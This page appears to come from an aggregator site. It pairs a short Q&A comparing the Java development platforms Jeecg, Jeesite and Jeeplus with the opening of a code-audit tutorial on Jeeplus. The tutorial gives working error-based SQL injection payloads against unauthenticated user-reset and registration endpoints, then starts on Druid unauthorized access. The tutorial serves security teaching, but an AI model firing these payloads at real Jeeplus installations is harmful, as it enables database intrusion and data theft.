Jeecg、Jeesite、Jeeplus哪个更好？

Posted 2023-04-23

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了Jeecg、Jeesite、Jeeplus哪个更好？相关的知识，希望对你有一定的参考价值。

推荐使用Java 快速开发平台吗？如何选择
Jeecg、Jeesite、Jeeplus 哪个更好呢？用过的可以谈一下感受吗。谢谢
谢绝粘贴复制。知乎上面已经看过了

Jeecg、Jeesite、Jeeplus都是假开源，把非核心代码开源出来，实际核心关键代码还是需要付费的。特别是geesite，不付费是限制用户数和并发的，必须要付费购买了license后才能解除并发限制，所以，要想完全找一个合适自己的完全开源平台还是不容易。参考技术A jeecg是一个平台，比较成熟，功能也更强大。另外两个项目，属于框架级别，开发效率和功能弱一些。如果是企业级开发的话，建议采用jeecg. 参考技术B Jeecg的文档写的好，还是值得一用的，代码生成器挺牛参考技术C jeecg项目更早，社区也更成熟，开源得有6,7年了，时间就能说明很成功

代码审计入门之Jeeplus代码审计

0×00 前言

JeePlus是一款基于代码生成器的javaEE快速开发平台，可以帮助解决java项目中绝大部分的的重复工作，让开发者更多关注业务逻辑。Jeeplus支持单表，主附表，一对一，一对多，多对多，左树右表的直接生成，只需简单配置，就可以生成数千行高质量代码。开发者声称该平台使用目前流行的多种web技术，包括Spring mvc4.0+, MyBatis, Apache Shiro, J2cache,qutarz,spring websocket, Jquery ,BootStrap 等等，支持多种数据库MySQL, Oracle等。分层设计：使用分层设计，分为dao，service，Controller，view层，层次清楚，低耦合，高内聚。严格遵循了web安全的规范，前后台双重验证，参数编码传输，密码md5加密存储，shiro权限验证，从根本上避免了SQL注入，XSS攻击，CSRF攻击等常见的web攻击手段。既然这么安全，那么我们从网上下载一份源码来看一看。

通过IDEA导入该源码，我们可以发现其为典型的Maven结构

src/main/java：是java的代码目录

src/main/resources：是资源目录，放一些配置文件，如properties、spring-mvc.xml等

src/main/webapp：是传统项目的WebContent目录

0×01:SQL注入

首先该系统要求登录之后才能使用大部分功能。所以我们先来看看那些功能是不需要登录就可以访问的。通过官网的技术手册我们可以知道该系统采用Apache Shiro来控制权限。于是我们查看Apache Shiro的配置文件，寻找过滤器定义的列表。如图所示。

anon 没有参数，表示可以匿名访问。

authc表示需要认证(登录)才能使用，没有参数

通过以上代码我们可以获取到一批不用登陆就可以访问到的URL。我们抽出一个来看看

此处以resetPassword为例

没有任何处理，跟进findUniqueByProperty接口

上述SQL语句并没有采用JDBC的预编译模式。而是采用了${}这样的写法。这种写法就产生了SQL语句的动态拼接。因为”${xxx}”这样格式的参数会直接参与SQL语句的编译，从而不能避免SQL注入攻击。这是造成mybatis注入的标准写法。

我们构造语句注入即可

同理发现多处存在注入。

Payload:

GET:

/a/sys/user/resetPassword?mobile=13588888888′and (updatexml(1,concat(0x7e,(select user()),0x7e),1))%23

/a/sys/user/validateMobileExist?mobile=13588888888′and (updatexml(1,concat(0x7e,(select user()),0x7e),1))%23

/a/sys/user/validateMobile?mobile=13588888888′and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#

POST:

/a/sys/register/registerUser

roleName=wangba&mobile=13300990099′and (updatexml(1,concat(0x7e,(select user()),0x7e),1))%23&randomCode=2131&loginName=test1&password=123123&confirmNewPassword=123123&ck1=on

通过全局搜索发现系统还有很多地方采用了${}这种写法。这里就不一一标注出来了。

0×02:第三方组件导致的敏感信息泄露

前面我们虽然挖掘到了SQL注入，但是该系统采用魔改的算法进行加密，通过注入查出来的密码无法直接在MD5等平台直接进行解密、而且加密不可逆。相关实现方法如下：

那么怎么办呢？根据网上众多案例，我们可以总结发现，由java开发的项目大部分都存在由第三方组件所导致的漏洞。我们来看看这套程序引用了那些第三方组件呢。通过IDEA我们可以快速的列出我们当前工程所引入的第三方组件包。

我们看到了两个熟悉的组件，druid和fastjson。druid是阿里巴巴开源平台上一个数据库连接池实现，它结合了C3P0、DBCP、PROXOOL等DB池的优点，同时加入了日志监控，可以很好的监控DB池连接和SQL的执行情况。而fastjson则不需要介绍了。大家都很熟悉了，主要用来处理json数据。

根据个人了解,Druid目前是不存在相关漏洞的。但是如果开发者配置不当就可以造成未授权访问，从而导致相关敏感信息泄露。我们来看看web.xml文件